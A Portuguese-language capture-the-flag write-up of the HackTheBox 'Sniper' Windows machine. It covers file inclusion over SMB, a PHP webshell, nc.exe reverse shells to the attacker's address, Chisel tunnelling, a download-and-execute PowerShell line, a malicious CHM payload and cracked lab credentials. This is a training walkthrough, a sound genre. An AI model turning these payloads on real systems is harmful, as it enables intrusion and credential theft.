> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md).

# Relato da máquina Sniper no HackTheBox

{% embed url="<https://app.hackthebox.com/machines/211>" %}

{% hint style="warning" %}
Habilidades:

* Inclusão de Arquivo Local (LFI)
* Inclusão de Arquivo Remoto (RFI) (Falhou)
* Inclusão de Arquivo Remoto por meio de Servidor SMB (técnica net usershare) (Sucesso)
* Criando um webshell e obtendo execução remota de comandos (RCE)
* Vazamento de informações (Pivotação de usuário)
* Brincando com Chisel e ScriptBlocks usando Invoke-Command
* Criando um arquivo CHM malicioso (Out-CHM.ps1) (Escalada de Privilégio)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/895cdad48f0fb10243b1dc2c9a666101126716e0" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/82d75b8df2cc050bdc9b103e868e2d3024bb0558" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts
```

<figure><img src="/files/0afac508ea9ab7a12dd834a9bf70325223b4d02b" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência. (80,135,139,445,496,67)

<figure><img src="/files/00a04d3dbdfb4a60178c872bda8bb429af5fa7f2" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted
```

<figure><img src="/files/30295b0cda546344e28f9af0f969a6ad6e1ed73a" alt=""><figcaption></figcaption></figure>

### Porta 80:

<figure><img src="/files/ddad77eaae8425c4effa9cba9d9e2418ecc7c508" alt=""><figcaption></figcaption></figure>

**Análise com `whatweb`:**

Nós usamos `whatweb` para identificar as tecnologias usadas pelo servidor web:

{% code overflow="wrap" fullWidth="false" %}

```bash
whatweb 10.10.10.151
http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1]
```

{% endcode %}

## **Vulnerabilidade LFI :**

Na página de troca de idioma, havia um `lang` parâmetro para carregar diferentes arquivos PHP de acordo com o idioma escolhido.

<figure><img src="/files/d3316a7f0a6c9fc32a813cfeba6f06227d0a630d" alt="" width="366"><figcaption></figcaption></figure>

Testamos com um arquivo local do sistema:

```url
http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts
```

* Isso nos permitiu exibir o conteúdo do `o arquivo hosts` arquivo.

<figure><img src="/files/0d6bb6caa650e4a5b74057ef4eb373a36c011192" alt=""><figcaption></figcaption></figure>

**Tentativas de leitura de arquivo sensível com `php://filter`:**

Tentamos usar a LFI para ler o `index.php` arquivo do servidor web Microsoft IIS localizado em `/inetpub/wwwroot/index.php`, mas a operação via `php://filter` não funcionou.

<figure><img src="/files/ce9c863cbd6a9dad31e082d46285a4a6f76fe287" alt="" width="563"><figcaption></figcaption></figure>

```url
php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php
```

<figure><img src="/files/0bf666a61a083a4ccef3453f9f1cadc460ff823c" alt="" width="563"><figcaption></figcaption></figure>

### Inclusão de Arquivo Remoto (RFI) (Falhou)

#### Teste de RFI via servidor web remoto:

Tentamos carregar um arquivo remoto via `?lang=http://10.10.14.3/index.html` URL apontando para nosso servidor web local com Python3.

```bash
python3 -m http.server 80
```

```url
?lang=http://10.10.14.3/index.html
```

Mas não funcionou.

<figure><img src="/files/7f4d97902c5f91f929afb48d1092f668a23c0737" alt="" width="518"><figcaption></figcaption></figure>

## Inclusão de Arquivo Remoto (Servidor SMB)

**Criar servidor SMB:**

Criamos um servidor SMB local usando `smbserver.py` e compartilhamos o diretório atual:

```bash
smbserver.py share $(pwd) -smb2support
```

Depois tentamos carregar um arquivo do servidor SMB alterando o `lang` parâmetro

```bash
?lang=/10.10.14.3/share/index.html
```

* Desta vez, o servidor interpretou corretamente nosso `index.html` arquivo, exibindo seu conteúdo ("Hello World").

<figure><img src="/files/50f183b220af6478a1241420a46b0c30e1e9c361" alt="" width="563"><figcaption></figcaption></figure>

**Criar um arquivo webshell PHP (`cmd.php)`**

Criamos um `cmd.php` arquivo em nosso servidor SMB para executar comandos remotos via `cmd` parâmetro:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

/*/* Execução de comandos via SMB/*/*

```bash
//10.10.14.3/share/cmd.php&cmd=<command>
```

Usando a seguinte URL, executamos o `whoami` comando:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami
```

<figure><img src="/files/6661a0f14e5409b36365d78aa8dd908fdad3f7d5" alt="" width="563"><figcaption></figcaption></figure>

### Shell reversa (nc.exe)

**Baixar `nc.exe` para a shell reversa:**/ Recuperamos o `nc.exe` binário a partir das ferramentas em execução em `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` e o copiamos para o diretório de trabalho.

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

**Escutar na porta 443:**/ Nós configuramos um listener com `nc` para escutar na porta 443:

```bash
rlwrap nc -nvlp 443
```

**Execução da shell reversa via SMB:**/ Em seguida, iniciamos uma shell reversa apontando o `cmd` parâmetro para o nosso arquivo

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443
```

Então conseguimos uma shell reversa para a nossa máquina.

<figure><img src="/files/4c7a8a2fe7ec77e5596ae49a35793f3ec450696d" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilégios

**Buscar arquivos sensíveis:**/ Procuramos informações sensíveis em arquivos PHP e encontramos o `db.php` arquivo contendo credenciais do banco de dados:

* Usuário: `dbuser`
* Senha: `36mEAhz/B8xQ~2VM`

<figure><img src="/files/93b3ec0291bfd8c9878e06682151fc3cbf49251f" alt=""><figcaption></figcaption></figure>

**Validação de credenciais para outro usuário:**

<figure><img src="/files/8b1e68b76d361cb837280379c3272c30ce1a017b" alt="" width="563"><figcaption></figcaption></figure>

Descobrimos outro usuário chamado **Chris** além do usuário **Administrador**. Nós usamos **CrackMapExec** para validar se as `Chris` credenciais eram válidas:

```bash
crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* A conexão foi bem-sucedida.

<figure><img src="/files/92328d00a5cf1d547ddb4699a55d5a1736b873b5" alt=""><figcaption></figcaption></figure>

**Verificar os privilégios do usuário "Chris":**

* Observamos que o usuário `Chris` pertencia ao **grupo Remote Management User** permitindo que ele se conectasse remotamente.

<figure><img src="/files/342b7977020b54e55c9dee9064fcf5f9ada554ec" alt="" width="563"><figcaption></figcaption></figure>

/*/* Análise das portas abertas\:/*/*

A porta necessária para a conexão remota (porta 5985, usada pelo WinRM) não estava aberta externamente, mas internamente. Nós usamos `netstat` para verificar as portas em escuta na máquina-alvo:

```bash
netstat -an | findstr "LISTEN"
```

<figure><img src="/files/03ec937818dc1dc5539e79809451bda42a38d7ff" alt="" width="563"><figcaption></figcaption></figure>

## Encaminhamento de porta (5985 WinRM)

### 1. PowerShell

Iniciamos o PowerShell na nossa máquina de ataque:

```bash
powershell
```

Recuperamos o nome do ambiente Windows com o comando `hostname`, e descobrimos que o nome do host era `Sniper`.

```powershell
hostname
```

Então criamos uma variável para o usuário `Chris` e outra para a senha usando `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

Depois criamos um `PSCredential` objeto para poder executar comandos remotos na máquina-alvo:

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**Execução de comandos remotos:**/ Nós usamos o seguinte comando para executar `whoami` remotamente e validar o acesso:

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* Isso nos permitiu confirmar que estávamos conectados como **Chris**.

<figure><img src="/files/e05a830421c144c9ab90bb6054e2b757be9ced9b" alt=""><figcaption></figcaption></figure>

**Shell reversa :**/ Para obter acesso total ao sistema, configuramos um listener na porta 4444:

```bash
rlwrap nc -nlvp 4444
```

Então executamos uma shell reversa usando `nc.exe` do nosso servidor SMB:

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444
```

{% endcode %}

<figure><img src="/files/6bc60e390870955d85a37b20e517d393e096b7d9" alt="" width="563"><figcaption></figcaption></figure>

### 2. Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Baixar e preparar arquivos:**/ Baixamos o compactado **Chisel** arquivos, a saber:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

Depois de extraí-los, transferimos o **Chisel** arquivo para Windows para a máquina-alvo:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/16432b0f5e245c2ddefd7af651ee50563e6f00b4" alt=""><figcaption></figcaption></figure>

**Encaminhando na máquina de ataque com Chisel:**/ Nós iniciamos **Chisel** em modo servidor na máquina atacante na porta 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

Então, na máquina Windows alvo, executamos **Chisel** em modo cliente para se conectar à nossa máquina de ataque e redirecionar a porta 5985 para a nossa máquina:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/f9de78427ae6dbf475fa306fecdcdb059e4ca2b1" alt=""><figcaption></figcaption></figure>

**Verificação da porta redirecionada com `lsof`:**/ Verificamos que a porta 5985 estava devidamente ajustada após o redirecionamento com o comando:

<figure><img src="/files/61a28c3084c599c57c6a093fcebe8ae6f29ea853" alt=""><figcaption></figcaption></figure>

**Login com WinRM:**/ Nós usamos **CrackMapExec** para testar a conexão via **WinRM** na porta 5985 redirecionada:

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* Recebemos o símbolo **comprometido**, confirmando que conseguimos acessar a máquina via WinRM.

<figure><img src="/files/7b6297219277785ca67d4843d211374063f7efb4" alt=""><figcaption></figcaption></figure>

**Conexão final com Evil-WinRM:**/ Por fim, usamos **Evil-WinRM** para obter uma shell remota como **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

### Flag user.txt :)

<figure><img src="/files/3c36bba1c9f562142a5ef012e64f8d04e3d8eca4" alt=""><figcaption></figcaption></figure>

**Exploração do diretório "docs":**/ Na raiz de **Windows**, encontramos uma pasta **docs** contendo um arquivo `note.txt` arquivo com a seguinte mensagem:

<figure><img src="/files/7b2b517f86efe9daef445884adfb01d429c9bb6f" alt=""><figcaption></figcaption></figure>

> Oi Chris,
>
> Suas habilidades em PHP são realmente ruins. Entre em contato com Yamitenshi para ele te ensinar a usá-lo, depois conserte o site porque há muitos bugs nele. Também espero que você tenha preparado a documentação para nossa nova aplicação. Coloque-a aqui quando terminar.
>
> Atenciosamente,/ CEO da Sniper.

**Buscar documentação no sistema:**/ Procuramos a documentação mencionada pelo CEO e a encontramos no **Downloads** diretório dentro do **instructions.chm** arquivo.

<figure><img src="/files/8d182259ba1ea74c8c93958bc49a4e697f4fe400" alt="" width="563"><figcaption></figcaption></figure>

### **Criação de arquivo CHM malicioso:**

Depois de descobrir que o CEO queria visualizar **CHM** arquivos no **docs** diretório, procuramos na Internet como criar arquivos CHM maliciosos.

{% embed url="<https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1>" %}

**Baixar HTML Help Tool:**/ Nós baixamos **HTML Help** e usamos um script PowerShell para criar um arquivo CHM malicioso

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1')
```

Então modificamos o script para executar um comando remoto malicioso via **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"
```

<figure><img src="/files/007ae7c3afd07213ddfd2c67c09b8b0f5e35701d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6841d5d9e6a8b2a9a44974caf3415b88ce93437c" alt="" width="563"><figcaption></figcaption></figure>

**Injeção do arquivo CHM malicioso no diretório alvo:**/ Configuramos um servidor SMB na nossa máquina de ataque para transferir o arquivo malicioso para a máquina Windows alvo:

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234
```

/*/* Conectar ao compartilhamento SMB a partir da máquina da vítima:/*/*/ A partir da máquina Windows alvo, montamos o compartilhamento SMB e copiamos o CHM malicioso `doc.chm` arquivo:

```powershell
net use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm
```

**Aguardando shell reversa:**/ Nós iniciamos um listener na nossa máquina de ataque, aguardando uma conexão de shell reversa:

```bash
rlwrap nc -nlvp 443
```

<figure><img src="/files/c127611f932d2948a03e1ac1a4a406e8517dd4fa" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6d52e4312effe63d278c88d8036f01f34b875c48" alt="" width="563"><figcaption></figcaption></figure>

/*/* Problema encontrado:/*/*/ Embora o arquivo CHM tenha sido visualizado, não recebemos uma shell reversa. No entanto, conseguimos capturar um **SMB Relay V2** em nosso servidor. Isso nos forneceu um hash de autenticação para o usuário `Administrador`

<figure><img src="/files/eb23c8cd88815cf6c9bc07d9e1a45dd6c91a6e06" alt=""><figcaption></figcaption></figure>

#### **Quebrar o hash do Administrador:**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`Administrator:butterfly!#1`

<figure><img src="/files/a5c9d371875f33d7a600ae6602ce4f92130b6529" alt=""><figcaption></figcaption></figure>

#### **Login como administrador:**

Com as credenciais obtidas, usamos **Evil-WinRM** para nos conectar à máquina como administrador:

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'
```

<figure><img src="/files/8d98ecbec00fad77e8620690104a540171864f83" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/b11624748dc04356a1771e6eb5e0ed2ef4639f0e" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d1d98d9719033c12d7ecba386b23da0b53ef1b27" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
